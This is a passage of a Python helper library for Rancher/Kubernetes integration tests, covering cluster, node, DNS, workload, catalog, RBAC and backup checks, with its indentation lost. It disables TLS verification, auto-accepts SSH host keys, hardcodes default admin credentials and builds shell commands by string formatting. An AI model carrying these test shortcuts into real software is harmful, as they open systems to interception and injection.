css = css_resp["items"]
components = ["scheduler", "controller-manager"]
for i in range(0, etcd_count):
components.append("etcd-" + str(i))
print("components to check - " + str(components))
for cs in css:
component_name = cs["metadata"]["name"]
assert component_name in components
components.remove(component_name)
assert cs["conditions"][0]["status"] == "True"
assert cs["conditions"][0]["type"] == "Healthy"
assert len(components) == 0
def validate_dns_record(pod, record, expected):
# requires pod with `dig` available - TEST_IMAGE
host = '{0}.{1}.svc.cluster.local'.format(
record["name"], record["namespaceId"])
validate_dns_entry(pod, host, expected)
def validate_dns_entry(pod, host, expected):
if is_windows():
validate_dns_entry_windows(pod, host, expected)
return
# requires pod with `dig` available - TEST_IMAGE
cmd = 'ping -c 1 -W 1 {0}'.format(host)
ping_output = kubectl_pod_exec(pod, cmd)
ping_validation_pass = False
for expected_value in expected:
if expected_value in str(ping_output):
ping_validation_pass = True
break
assert ping_validation_pass is True
assert " 0% packet loss" in str(ping_output)
dig_cmd = 'dig {0} +short'.format(host)
dig_output = kubectl_pod_exec(pod, dig_cmd)
for expected_value in expected:
assert expected_value in str(dig_output)
def validate_dns_entry_windows(pod, host, expected):
def ping_check():
ping_cmd = 'ping -w 1 -n 1 {0}'.format(host)
ping_output = kubectl_pod_exec(pod, ping_cmd)
ping_validation_pass = False
for expected_value in expected:
if expected_value in str(ping_output):
ping_validation_pass = True
break
return ping_validation_pass and (" (0% loss)" in str(ping_output))
wait_for(callback=ping_check,
timeout_message="Failed to ping {0}".format(host))
def dig_check():
dig_cmd = 'powershell -NoLogo -NonInteractive -Command ' \
'"& {{ (Resolve-DnsName {0}).IPAddress }}"'.format(host)
dig_output = kubectl_pod_exec(pod, dig_cmd)
dig_validation_pass = True
for expected_value in expected:
if expected_value not in str(dig_output):
dig_validation_pass = False
break
return dig_validation_pass
wait_for(callback=dig_check,
timeout_message="Failed to resolve {0}".format(host))
def validate_dns_record_deleted(client, dns_record, timeout=DEFAULT_TIMEOUT):
"""
Checks whether dns_record got deleted successfully.
Validates if dns_record is null in for current object client.
@param client: Object client use to create dns_record
@param dns_record: record object subjected to be deleted
@param timeout: Max time to keep checking whether record is deleted or not
"""
time.sleep(2)
start = time.time()
records = client.list_dns_record(name=dns_record.name, ).data
while len(records) != 0:
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for record {} to be deleted"
"".format(dns_record.name))
time.sleep(.5)
records = client.list_dns_record(name=dns_record.name, ).data
def wait_for_nodes_to_become_active(client, cluster, exception_list=[],
retry_count=0):
nodes = client.list_node(clusterId=cluster.id).data
node_auto_deleted = False
for node in nodes:
if node.requestedHostname not in exception_list:
node = wait_for_node_status(client, node, "active")
if node is None:
print("Need to re-evalauate new node list")
node_auto_deleted = True
retry_count += 1
print("Retry Count:" + str(retry_count))
if node_auto_deleted and retry_count < 5:
wait_for_nodes_to_become_active(client, cluster, exception_list,
retry_count)
def wait_for_node_status(client, node, state):
uuid = node.uuid
start = time.time()
nodes = client.list_node(uuid=uuid).data
node_count = len(nodes)
# Handle the case of nodes getting auto deleted when they are part of
# nodepools
if node_count == 1:
node_status = nodes[0].state
else:
print("Node does not exist anymore -" + uuid)
return None
while node_status != state:
if time.time() - start > MACHINE_TIMEOUT:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(5)
nodes = client.list_node(uuid=uuid).data
node_count = len(nodes)
if node_count == 1:
node_status = nodes[0].state
else:
print("Node does not exist anymore -" + uuid)
return None
return node
def wait_for_node_to_be_deleted(client, node, timeout=300):
uuid = node.uuid
start = time.time()
nodes = client.list_node(uuid=uuid).data
node_count = len(nodes)
while node_count != 0:
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
nodes = client.list_node(uuid=uuid).data
node_count = len(nodes)
def wait_for_cluster_node_count(client, cluster, expected_node_count,
timeout=300):
start = time.time()
nodes = client.list_node(clusterId=cluster.id).data
node_count = len(nodes)
while node_count != expected_node_count:
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
nodes = client.list_node(clusterId=cluster.id).data
node_count = len(nodes)
def get_custom_host_registration_cmd(client, cluster, roles, node):
allowed_roles = ["etcd", "worker", "controlplane"]
cluster_tokens = client.list_cluster_registration_token(
clusterId=cluster.id).data
if len(cluster_tokens) > 0:
cluster_token = cluster_tokens[0]
else:
cluster_token = create_custom_host_registration_token(client, cluster)
additional_options = " --address " + node.public_ip_address + \
" --internal-address " + node.private_ip_address
if 'Administrator' == node.ssh_user:
cmd = cluster_token.windowsNodeCommand
cmd = cmd.replace('| iex', '--worker' + additional_options + ' | iex ')
else:
cmd = cluster_token.nodeCommand
for role in roles:
assert role in allowed_roles
cmd += " --" + role
cmd += additional_options
return cmd
def create_custom_host_registration_token(client, cluster):
# Allow sometime for the "cluster_owner" CRTB to take effect
time.sleep(5)
cluster_token = client.create_cluster_registration_token(
clusterId=cluster.id)
cluster_token = client.wait_success(cluster_token)
assert cluster_token.state == 'active'
return cluster_token
def get_cluster_by_name(client, name):
clusters = client.list_cluster(name=name).data
assert len(clusters) == 1, "Cluster " + name + " does not exist"
return clusters[0]
def get_cluster_type(client, cluster):
cluster_configs = [
"amazonElasticContainerServiceConfig",
"azureKubernetesServiceConfig",
"googleKubernetesEngineConfig",
"rancherKubernetesEngineConfig"
]
if "rancherKubernetesEngineConfig" in cluster:
nodes = client.list_node(clusterId=cluster.id).data
if len(nodes) > 0:
if nodes[0].nodeTemplateId is None:
return "Custom"
for cluster_config in cluster_configs:
if cluster_config in cluster:
return cluster_config
return "Imported"
def delete_cluster(client, cluster):
nodes = client.list_node(clusterId=cluster.id).data
# Delete nodes(in cluster) from AWS for Imported and Custom Cluster
if len(nodes) > 0:
cluster_type = get_cluster_type(client, cluster)
print(cluster_type)
if get_cluster_type(client, cluster) in ["Imported", "Custom"]:
filters = [
{'Name': 'tag:Name',
'Values': ['testcustom*', 'teststress*', 'testsa*']}]
ip_filter = {}
ip_list = []
ip_filter['Name'] = \
'network-interface.addresses.association.public-ip'
ip_filter['Values'] = ip_list
filters.append(ip_filter)
for node in nodes:
host_ip = resolve_node_ip(node)
ip_list.append(host_ip)
assert len(ip_filter) > 0
print(ip_filter)
aws_nodes = AmazonWebServices().get_nodes(filters)
if aws_nodes is None:
# search instances by IPs in case names do not follow patterns
aws_nodes = AmazonWebServices().get_nodes(filters=[ip_filter])
if aws_nodes is None:
print("no instance is found in AWS")
else:
for node in aws_nodes:
print(node.public_ip_address)
AmazonWebServices().delete_nodes(aws_nodes)
# Delete Cluster
client.delete(cluster)
def check_connectivity_between_workloads(p_client1, workload1, p_client2,
workload2, allow_connectivity=True):
wl1_pods = p_client1.list_pod(workloadId=workload1.id).data
wl2_pods = p_client2.list_pod(workloadId=workload2.id).data
for pod in wl1_pods:
for o_pod in wl2_pods:
check_connectivity_between_pods(pod, o_pod, allow_connectivity)
def check_connectivity_between_workload_pods(p_client, workload):
pods = p_client.list_pod(workloadId=workload.id).data
for pod in pods:
for o_pod in pods:
check_connectivity_between_pods(pod, o_pod)
def check_connectivity_between_pods(pod1, pod2, allow_connectivity=True):
pod_ip = pod2.status.podIp
cmd = "ping -c 1 -W 1 " + pod_ip
if is_windows():
cmd = 'ping -w 1 -n 1 {0}'.format(pod_ip)
response = kubectl_pod_exec(pod1, cmd)
assert pod_ip in str(response)
if allow_connectivity:
if is_windows():
assert " (0% loss)" in str(response)
else:
assert " 0% packet loss" in str(response)
else:
if is_windows():
assert " (100% loss)" in str(response)
else:
assert " 100% packet loss" in str(response)
def kubectl_pod_exec(pod, cmd):
command = "exec " + pod.name + " -n " + pod.namespaceId + " -- " + cmd
return execute_kubectl_cmd(command, json_out=False, stderr=True)
def exec_shell_command(ip, port, cmd, password, user="root", sshKey=None):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if sshKey:
ssh.connect(ip, username=user, key_filename=sshKey, port=port)
else:
ssh.connect(ip, username=user, password=password, port=port)
stdin, stdout, stderr = ssh.exec_command(cmd)
response = stdout.readlines()
return response
def wait_for_ns_to_become_active(client, ns, timeout=DEFAULT_TIMEOUT):
start = time.time()
time.sleep(2)
nss = client.list_namespace(uuid=ns.uuid).data
assert len(nss) == 1
ns = nss[0]
while ns.state != "active":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
nss = client.list_namespace(uuid=ns.uuid).data
assert len(nss) == 1
ns = nss[0]
return ns
def wait_for_pod_images(p_client, workload, ns_name, expectedimage, numofpods,
timeout=DEFAULT_TIMEOUT):
start = time.time()
for key, value in workload.workloadLabels.items():
label = key + "=" + value
get_pods = "get pods -l" + label + " -n " + ns_name
pods = execute_kubectl_cmd(get_pods)
for x in range(0, numofpods - 1):
pod = pods["items"][x]
podimage = pod["spec"]["containers"][0]["image"]
while podimage != expectedimage:
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for correct pod images")
time.sleep(.5)
pods = execute_kubectl_cmd(get_pods)
pod = pods["items"][x]
podimage = pod["spec"]["containers"][0]["image"]
def wait_for_pods_in_workload(p_client, workload, pod_count,
timeout=DEFAULT_TIMEOUT):
start = time.time()
pods = p_client.list_pod(workloadId=workload.id).data
while len(pods) != pod_count:
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for pods in workload {}. Expected {}. "
"Got {}".format(workload.name, pod_count, len(pods)))
time.sleep(.5)
pods = p_client.list_pod(workloadId=workload.id).data
return pods
def get_user_client_and_cluster(client=None):
if not client:
client = get_user_client()
if CLUSTER_NAME == "":
clusters = client.list_cluster().data
else:
clusters = client.list_cluster(name=CLUSTER_NAME).data
assert len(clusters) > 0
cluster = clusters[0]
return client, cluster
def get_global_admin_client_and_cluster():
client = get_admin_client()
if CLUSTER_NAME == "":
clusters = client.list_cluster().data
else:
clusters = client.list_cluster(name=CLUSTER_NAME).data
assert len(clusters) > 0
cluster = clusters[0]
return client, cluster
def validate_cluster_state(client, cluster,
check_intermediate_state=True,
intermediate_state="provisioning",
nodes_not_in_active_state=[]):
if check_intermediate_state:
cluster = wait_for_condition(
client, cluster,
lambda x: x.state == intermediate_state,
lambda x: 'State is: ' + x.state,
timeout=MACHINE_TIMEOUT)
assert cluster.state == intermediate_state
cluster = wait_for_condition(
client, cluster,
lambda x: x.state == "active",
lambda x: 'State is: ' + x.state,
timeout=MACHINE_TIMEOUT)
assert cluster.state == "active"
wait_for_nodes_to_become_active(client, cluster,
exception_list=nodes_not_in_active_state)
timeout = 60
start = time.time()
while "version" not in cluster.keys():
time.sleep(1)
cluster = client.reload(cluster)
delta = time.time() - start
if delta > timeout:
msg = "Timeout waiting for K8s version to be synced"
raise Exception(msg)
return cluster
def wait_until_available(client, obj, timeout=DEFAULT_TIMEOUT):
start = time.time()
sleep = 0.01
while True:
time.sleep(sleep)
sleep *= 2
if sleep > 2:
sleep = 2
try:
obj = client.reload(obj)
except ApiError as e:
if e.error.status != 403:
raise e
else:
return obj
delta = time.time() - start
if delta > timeout:
msg = 'Timeout waiting for [{}:{}] for condition after {}' \
' seconds'.format(obj.type, obj.id, delta)
raise Exception(msg)
def delete_node(aws_nodes):
for node in aws_nodes:
AmazonWebServices().delete_node(node)
def cluster_cleanup(client, cluster, aws_nodes=None):
if RANCHER_CLEANUP_CLUSTER:
client.delete(cluster)
if aws_nodes is not None:
delete_node(aws_nodes)
else:
env_details = "env.CATTLE_TEST_URL='" + CATTLE_TEST_URL + "'\n"
env_details += "env.ADMIN_TOKEN='" + ADMIN_TOKEN + "'\n"
env_details += "env.USER_TOKEN='" + USER_TOKEN + "'\n"
env_details += "env.CLUSTER_NAME='" + cluster.name + "'\n"
create_config_file(env_details)
def create_config_file(env_details):
file = open(env_file, "w")
file.write(env_details)
file.close()
def validate_hostPort(p_client, workload, source_port, cluster):
get_endpoint_url_for_workload(p_client, workload)
wl = p_client.list_workload(uuid=workload.uuid).data[0]
source_port_wk = wl.publicEndpoints[0]["port"]
assert source_port == source_port_wk, "Source ports do not match"
pods = p_client.list_pod(workloadId=workload.id).data
nodes = get_schedulable_nodes(cluster)
for node in nodes:
target_name_list = []
for pod in pods:
print(pod.nodeId + " check " + node.id)
if pod.nodeId == node.id:
target_name_list.append(pod.name)
break
if len(target_name_list) > 0:
host_ip = resolve_node_ip(node)
curl_cmd = " http://" + host_ip + ":" + \
str(source_port) + "/name.html"
validate_http_response(curl_cmd, target_name_list)
def validate_lb(p_client, workload, source_port):
url = get_endpoint_url_for_workload(p_client, workload)
wl = p_client.list_workload(uuid=workload.uuid).data[0]
source_port_wk = wl.publicEndpoints[0]["port"]
assert source_port == source_port_wk, "Source ports do not match"
target_name_list = get_target_names(p_client, [workload])
wait_until_lb_is_active(url)
validate_http_response(url + "/name.html", target_name_list)
def validate_nodePort(p_client, workload, cluster, source_port):
get_endpoint_url_for_workload(p_client, workload, 600)
wl = p_client.list_workload(uuid=workload.uuid).data[0]
source_port_wk = wl.publicEndpoints[0]["port"]
assert source_port == source_port_wk, "Source ports do not match"
nodes = get_schedulable_nodes(cluster)
pods = p_client.list_pod(workloadId=wl.id).data
target_name_list = []
for pod in pods:
target_name_list.append(pod.name)
print("target name list:" + str(target_name_list))
for node in nodes:
host_ip = resolve_node_ip(node)
curl_cmd = " http://" + host_ip + ":" + \
str(source_port_wk) + "/name.html"
validate_http_response(curl_cmd, target_name_list)
def validate_clusterIp(p_client, workload, cluster_ip, test_pods, source_port):
pods = p_client.list_pod(workloadId=workload.id).data
target_name_list = []
for pod in pods:
target_name_list.append(pod["name"])
curl_cmd = "http://" + cluster_ip + ":" + \
str(source_port) + "/name.html"
for pod in test_pods:
validate_http_response(curl_cmd, target_name_list, pod)
def wait_for_pv_to_be_available(c_client, pv_object, timeout=DEFAULT_TIMEOUT):
start = time.time()
time.sleep(2)
list = c_client.list_persistent_volume(uuid=pv_object.uuid).data
assert len(list) == 1
pv = list[0]
while pv.state != "available":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to available")
time.sleep(.5)
list = c_client.list_persistent_volume(uuid=pv_object.uuid).data
assert len(list) == 1
pv = list[0]
return pv
def wait_for_pvc_to_be_bound(p_client, pvc_object, timeout=DEFAULT_TIMEOUT):
start = time.time()
time.sleep(2)
list = p_client.list_persistent_volume_claim(uuid=pvc_object.uuid).data
assert len(list) == 1
pvc = list[0]
while pvc.state != "bound":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to bound")
time.sleep(.5)
list = p_client.list_persistent_volume_claim(uuid=pvc_object.uuid).data
assert len(list) == 1
pvc = list[0]
return pvc
def create_wl_with_nfs(p_client, ns_id, pvc_name, wl_name,
mount_path, sub_path, is_daemonSet=False):
volumes = [{"type": "volume",
"name": "vol1",
"persistentVolumeClaim": {
"readOnly": "false",
"type": "persistentVolumeClaimVolumeSource",
"persistentVolumeClaimId": pvc_name
}}]
volumeMounts = [{"readOnly": "False",
"type": "volumeMount",
"mountPath": mount_path,
"subPath": sub_path,
"name": "vol1"
}]
con = [{"name": "test1",
"image": TEST_IMAGE,
"volumeMounts": volumeMounts
}]
if is_daemonSet:
workload = p_client.create_workload(name=wl_name,
containers=con,
namespaceId=ns_id,
volumes=volumes,
daemonSetConfig={})
else:
workload = p_client.create_workload(name=wl_name,
containers=con,
namespaceId=ns_id,
volumes=volumes)
return workload
def write_content_to_file(pod, content, filename):
cmd_write = "/bin/bash -c 'echo {1} > {0}'".format(filename, content)
if is_windows():
cmd_write = \
'powershell -NoLogo -NonInteractive -Command ' \
'"& { echo {1} > {0} }"'.format(filename, content)
output = kubectl_pod_exec(pod, cmd_write)
assert output.strip().decode('utf-8') == ""
def validate_file_content(pod, content, filename):
cmd_get_content = "/bin/bash -c 'cat {0}' ".format(filename)
if is_windows():
cmd_get_content = 'powershell -NoLogo -NonInteractive -Command ' \
'"& { cat {0} }"'.format(filename)
output = kubectl_pod_exec(pod, cmd_get_content)
assert output.strip().decode('utf-8') == content
def wait_for_mcapp_to_active(client, multiClusterApp,
timeout=DEFAULT_MULTI_CLUSTER_APP_TIMEOUT):
time.sleep(5)
# When the app is deployed it goes into Active state for a short
# period of time and then into installing/deploying.
mcapps = client.list_multiClusterApp(uuid=multiClusterApp.uuid,
name=multiClusterApp.name).data
start = time.time()
assert len(mcapps) == 1, "Cannot find multi cluster app"
mapp = mcapps[0]
while mapp.state != "active":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
multiclusterapps = client.list_multiClusterApp(
uuid=multiClusterApp.uuid, name=multiClusterApp.name).data
assert len(multiclusterapps) == 1
mapp = multiclusterapps[0]
return mapp
def wait_for_app_to_active(client, app_id,
timeout=DEFAULT_MULTI_CLUSTER_APP_TIMEOUT):
"""
First wait for app to come in deployment state, then wait for it get
in active state. This is to avoid wrongly conclude that app is active
as app goes to state installing > active > deploying > active
@param client: Project client
@param app_id: App id of deployed app.
@param timeout: Max time allowed to wait for app to become active.
@return: app object
"""
start = time.time()
app_data = client.list_app(id=app_id).data
while len(app_data) == 0:
if time.time() - start > timeout / 10:
raise AssertionError(
"Timed out waiting for listing the app from API")
time.sleep(.2)
app_data = client.list_app(id=app_id).data
application = app_data[0]
while application.state != "deploying":
if time.time() - start > timeout / 3:
break
time.sleep(.2)
app_data = client.list_app(id=app_id).data
application = app_data[0]
while application.state != "active":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
app = client.list_app(id=app_id).data
assert len(app) >= 1
application = app[0]
return application
def wait_for_app_to_remove(client, app_id,
timeout=DEFAULT_MULTI_CLUSTER_APP_TIMEOUT):
start = time.time()
app_data = client.list_app(id=app_id).data
if len(app_data) == 0:
return
application = app_data[0]
while application.state == "removing" or application.state == "active":
if time.time() - start > timeout / 10:
raise AssertionError(
"Timed out waiting for app to not be installed")
time.sleep(.2)
app_data = client.list_app(id=app_id).data
if len(app_data) == 0:
break
application = app_data[0]
def validate_response_app_endpoint(p_client, appId,
timeout=DEFAULT_MULTI_CLUSTER_APP_TIMEOUT):
ingress_list = p_client.list_ingress(namespaceId=appId).data
assert len(ingress_list) == 1
ingress = ingress_list[0]
if hasattr(ingress, 'publicEndpoints'):
for public_endpoint in ingress.publicEndpoints:
url = \
public_endpoint["protocol"].lower() + "://" + \
public_endpoint["hostname"]
print(url)
start = time.time()
try:
while True:
r = requests.head(url)
print(r.status_code)
if r.status_code == 200:
return
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting response to be 200.")
time.sleep(.5)
except requests.ConnectionError:
print("failed to connect")
assert False, "failed to connect to the app"
def resolve_node_ip(node):
if hasattr(node, 'externalIpAddress'):
node_ip = node.externalIpAddress
else:
node_ip = node.ipAddress
return node_ip
def provision_nfs_server():
node = AmazonWebServices().create_node(random_test_name("nfs-server"))
node.wait_for_ssh_ready()
c_path = os.getcwd()
cmd_path = c_path + "/tests/v3_api/scripts/nfs-setup.sh"
command = open(cmd_path, 'r').read()
node.execute_command(command)
return node
def get_defaut_question_answers(client, externalId):
def get_answer(quest):
if "default" in quest.keys():
answer = quest["default"]
else:
answer = ""
# If required and no default value is available, set fake value
# only for type string . For other types error out
if "required" in quest.keys():
if quest["required"]:
if quest["type"] == "enum" and "options" in quest.keys():
answer = quest["options"][0]
elif quest["type"] == "password":
answer = "R@ncher135"
elif quest["type"] == "string":
answer = "fake"
else:
assert False, \
"Cannot set default for types {}" \
"".format(quest["type"])
return answer
def check_if_question_needed(questions_and_answers, ques):
add_question = False
match_string = ques["showIf"]
match_q_as = match_string.split("&&")
for q_a in match_q_as:
items = q_a.split("=")
if len(items) == 1:
items.append("")
if items[0] in questions_and_answers.keys():
if questions_and_answers[items[0]] == items[1]:
add_question = True
else:
add_question = False
break
return add_question
questions_and_answers = {}
print("external id = {}".format(externalId))
template_revs = client.list_template_version(externalId=externalId).data
assert len(template_revs) == 1
template_rev = template_revs[0]
questions = template_rev.questions
for ques in questions:
add_question = True
if "showIf" in ques.keys():
add_question = \
check_if_question_needed(questions_and_answers, ques)
if add_question:
question = ques["variable"]
answer = get_answer(ques)
questions_and_answers[question] = get_answer(ques)
if "showSubquestionIf" in ques.keys():
if ques["showSubquestionIf"] == answer:
sub_questions = ques["subquestions"]
for sub_question in sub_questions:
question = sub_question["variable"]
questions_and_answers[question] = \
get_answer(sub_question)
print("questions_and_answers = {}".format(questions_and_answers))
return questions_and_answers
def validate_app_deletion(client, app_id,
timeout=DEFAULT_APP_DELETION_TIMEOUT):
app_data = client.list_app(id=app_id).data
start = time.time()
if len(app_data) == 0:
return
application = app_data[0]
while application.state == "removing":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for app to delete")
time.sleep(.5)
app = client.list_app(id=app_id).data
if len(app) == 0:
break
def validate_catalog_app(proj_client, app, external_id, answer=None):
"""
This method validates all the workloads deployed are in active state,
have correct version and validates the answers.
@param proj_client: Project client object of a existing project.
@param app: Deployed app object.
@param external_id: URl of app API.
@param answer: answer, app seek while deploying, body of the post call.
@return: Deployed app object.
"""
if answer is None:
answers = get_defaut_question_answers(get_user_client(), external_id)
else:
answers = answer
# validate app is active
app = wait_for_app_to_active(proj_client, app.id)
assert app.externalId == external_id, \
"the version of the app is not correct"
# check if associated workloads are active
ns = app.targetNamespace
parameters = external_id.split('&')
assert len(parameters) > 1, \
"Incorrect list of parameters from catalog external ID"
chart_prefix = parameters[len(parameters) - 2].split("=")[1]
chart_suffix = parameters[len(parameters) - 1].split("=")[1]
chart = chart_prefix + "-" + chart_suffix
app_name = parameters[len(parameters) - 2].split("=")[1]
workloads = proj_client.list_workload(namespaceId=ns).data
for wl in workloads:
print("Workload {} , state - {}".format(wl.id, wl.state))
assert wl.state == "active"
chart_deployed = get_chart_info(wl.workloadLabels)
print("Chart detail of app - {}".format(chart_deployed))
# '-' check is to make sure chart has both app name and version.
if app_name in chart_deployed and '-' in chart_deployed:
assert chart_deployed == chart, "the chart version is wrong"
# Validate_app_answers
assert len(answers.items() - app["answers"].items()) == 0, \
"Answers are not same as the original catalog answers"
return app
def get_chart_info(workloadlabels):
"""
This method finds either 'chart' tag or
'helm.sh/chart' tag from workload API
@param workloadlabels: workloadslabel object
@return: chart value of workload e.g. 'app_name-version'
"""
if "chart" in workloadlabels.keys():
return workloadlabels.chart
elif "helm.sh/chart" in workloadlabels.keys():
return workloadlabels["helm.sh/chart"]
else:
return ''
def create_user(client, cattle_auth_url=CATTLE_AUTH_URL):
user_name = random_name()
user = client.create_user(username=user_name,
password=USER_PASSWORD)
client.create_global_role_binding(globalRoleId="user",
subjectKind="User",
userId=user.id)
user_token = get_user_token(user.username, USER_PASSWORD, cattle_auth_url)
return user, user_token
def get_user_token(username, password, cattle_auth_url=CATTLE_AUTH_URL):
r = requests.post(cattle_auth_url, json={
'username': username,
'password': password,
'responseType': 'json',
}, verify=False)
print(r.json())
return r.json()["token"]
def rbac_get_user_by_role(role):
if role in rbac_data["users"].keys():
return rbac_data["users"][role]["user"]
return None
def rbac_get_user_token_by_role(role):
if role in rbac_data["users"].keys():
return rbac_data["users"][role]["token"]
return None
def rbac_get_kubeconfig_by_role(role):
if role in rbac_data["users"].keys():
return rbac_data["users"][role]["kubeconfig"]
return None
def rbac_get_project():
return rbac_data["project"]
def rbac_get_namespace():
return rbac_data["namespace"]
def rbac_get_workload():
return rbac_data["workload"]
def rbac_get_unshared_project():
return rbac_data["p_unshared"]
def rbac_get_unshared_ns():
return rbac_data["ns_unshared"]
def rbac_get_unshared_workload():
return rbac_data["wl_unshared"]
def rbac_prepare():
"""this function creates one project, one namespace,
and four users with different roles"""
admin_client, cluster = get_global_admin_client_and_cluster()
create_kubeconfig(cluster)
# create a new project in the cluster
project, ns = create_project_and_ns(ADMIN_TOKEN,
cluster,
random_test_name("p-test-rbac"))
con = [{"name": "test1",
"image": TEST_IMAGE}]
name = random_test_name("default")
p_client = get_project_client_for_token(project, ADMIN_TOKEN)
workload = p_client.create_workload(name=name,
containers=con,
namespaceId=ns.id)
validate_workload(p_client, workload, "deployment", ns.name)
rbac_data["workload"] = workload
rbac_data["project"] = project
rbac_data["namespace"] = ns
# create new users
for key in rbac_data["users"]:
user1, token1 = create_user(admin_client)
rbac_data["users"][key]["user"] = user1
rbac_data["users"][key]["token"] = token1
# assign different role to each user
assign_members_to_cluster(admin_client,
rbac_data["users"][CLUSTER_OWNER]["user"],
cluster,
CLUSTER_OWNER)
assign_members_to_cluster(admin_client,
rbac_data["users"][CLUSTER_MEMBER]["user"],
cluster,
CLUSTER_MEMBER)
assign_members_to_project(admin_client,
rbac_data["users"][PROJECT_MEMBER]["user"],
project,
PROJECT_MEMBER)
assign_members_to_project(admin_client,
rbac_data["users"][PROJECT_OWNER]["user"],
project,
PROJECT_OWNER)
assign_members_to_project(admin_client,
rbac_data["users"][PROJECT_READ_ONLY]["user"],
project,
PROJECT_READ_ONLY)
# create kubeconfig files for each user
for key in rbac_data["users"]:
user_client = get_client_for_token(rbac_data["users"][key]["token"])
_, user_cluster = get_user_client_and_cluster(user_client)
rbac_data["users"][key]["kubeconfig"] = os.path.join(
os.path.dirname(os.path.realpath(__file__)),
key + "_kubeconfig")
create_kubeconfig(user_cluster, rbac_data["users"][key]["kubeconfig"])
# create another project that none of the above users are assigned to
p2, ns2 = create_project_and_ns(ADMIN_TOKEN,
cluster,
random_test_name("p-unshared"))
name = random_test_name("default")
p_client = get_project_client_for_token(p2, ADMIN_TOKEN)
workload = p_client.create_workload(name=name,
containers=con,
namespaceId=ns2.id)
validate_workload(p_client, workload, "deployment", ns2.name)
rbac_data["p_unshared"] = p2
rbac_data["ns_unshared"] = ns2
rbac_data["wl_unshared"] = workload
def rbac_cleanup():
""" remove the project, namespace and users created for the RBAC tests"""
try:
client = get_admin_client()
except Exception:
print("Not able to get admin client. Not performing RBAC cleanup")
return
for _, value in rbac_data["users"].items():
try:
client.delete(value["user"])
except Exception:
pass
client.delete(rbac_data["project"])
client.delete(rbac_data["wl_unshared"])
client.delete(rbac_data["p_unshared"])
def check_condition(condition_type, status):
def _find_condition(resource):
if not hasattr(resource, "conditions"):
return False
if resource.conditions is None:
return False
for condition in resource.conditions:
if condition.type == condition_type and condition.status == status:
return True
return False
return _find_condition
def create_catalog_external_id(catalog_name, template, version,
project_cluster_id=None, catalog_type=None):
if catalog_type is None:
return "catalog://?catalog=" + catalog_name + \
"&template=" + template + "&version=" + version
elif catalog_type == "project" or catalog_type == "cluster":
return "catalog://?catalog=" + project_cluster_id + "/" \
+ catalog_name + "&type=" + catalog_type \
+ "Catalog&template=" + template + "&version=" + version
def wait_for_catalog_active(client, catalog, timeout=DEFAULT_CATALOG_TIMEOUT):
time.sleep(2)
catalog_data = client.list_catalog(name=catalog.name)
print(catalog_data)
start = time.time()
assert len(catalog_data["data"]) >= 1, "Cannot find catalog"
catalog = catalog_data["data"][0]
while catalog.state != "active":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
catalog_data = client.list_catalog(name=catalog.name)
assert len(catalog_data["data"]) >= 1
catalog = catalog_data["data"][0]
return catalog
def readDataFile(data_dir, name):
fname = os.path.join(data_dir, name)
print("File: " + fname)
is_file = os.path.isfile(fname)
assert is_file
with open(fname) as f:
return f.read()
def set_url_password_token(RANCHER_SERVER_URL):
"""Returns a ManagementContext for the default global admin user."""
CATTLE_AUTH_URL = \
RANCHER_SERVER_URL + "/v3-public/localproviders/local?action=login"
r = requests.post(CATTLE_AUTH_URL, json={
'username': 'admin',
'password': 'admin',
'responseType': 'json',
}, verify=False)
print(r.json())
token = r.json()['token']
print(token)
# Change admin password
client = rancher.Client(url=RANCHER_SERVER_URL + "/v3",
token=token, verify=False)
admin_user = client.list_user(username="admin").data
admin_user[0].setpassword(newPassword=ADMIN_PASSWORD)
# Set server-url settings
serverurl = client.list_setting(name="server-url").data
client.update(serverurl[0], value=RANCHER_SERVER_URL)
return token
def validate_create_catalog(token, catalog_name, branch, url, permission=True):
"""
This function validates if the user has the permission to create a
global catalog.
:param token: user's token
:param catalog_name: the name of the catalog
:param branch: the branch of the git repo
:param url: the url of the git repo
:param permission: boolean value, True if the user can create catalog
:return: the catalog object or None
"""
client = get_client_for_token(token)
if not permission:
with pytest.raises(ApiError) as e:
client.create_catalog(name=catalog_name,
branch=branch,
url=url)
error_msg = "user with no permission should receive 403: Forbidden"
error_code = e.value.error.code
error_status = e.value.error.status
assert error_status == 403 and error_code == 'Forbidden', error_msg
return None
else:
try:
client.create_catalog(name=catalog_name,
branch=branch,
url=url)
except ApiError as e:
assert False, "user with permission should receive no exception:" \
+ str(e.error.status) + " " + e.error.code
catalog_list = client.list_catalog(name=catalog_name).data
assert len(catalog_list) == 1
return catalog_list[0]
def generate_template_global_role(name, new_user_default=False, template=None):
""" generate a template that is used for creating a global role"""
if template is None:
template = TEMPLATE_MANAGE_CATALOG
template = deepcopy(template)
if new_user_default:
template["newUserDefault"] = "true"
else:
template["newUserDefault"] = "false"
if name is None:
name = random_name()
template["name"] = name
return template
def wait_for_backup_to_active(cluster, backupname,
timeout=DEFAULT_TIMEOUT):
start = time.time()
etcdbackups = cluster.etcdBackups(name=backupname)
assert len(etcdbackups) == 1
etcdbackupdata = etcdbackups['data']
etcdbackupstate = etcdbackupdata[0]['state']
while etcdbackupstate != "active":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
etcdbackups = cluster.etcdBackups(name=backupname)
assert len(etcdbackups) == 1
etcdbackupdata = etcdbackups['data']
etcdbackupstate = etcdbackupdata[0]['state']
print("BACKUP STATE")
print(etcdbackupstate)
return etcdbackupstate
def wait_for_backup_to_delete(cluster, backupname,
timeout=DEFAULT_TIMEOUT):
start = time.time()
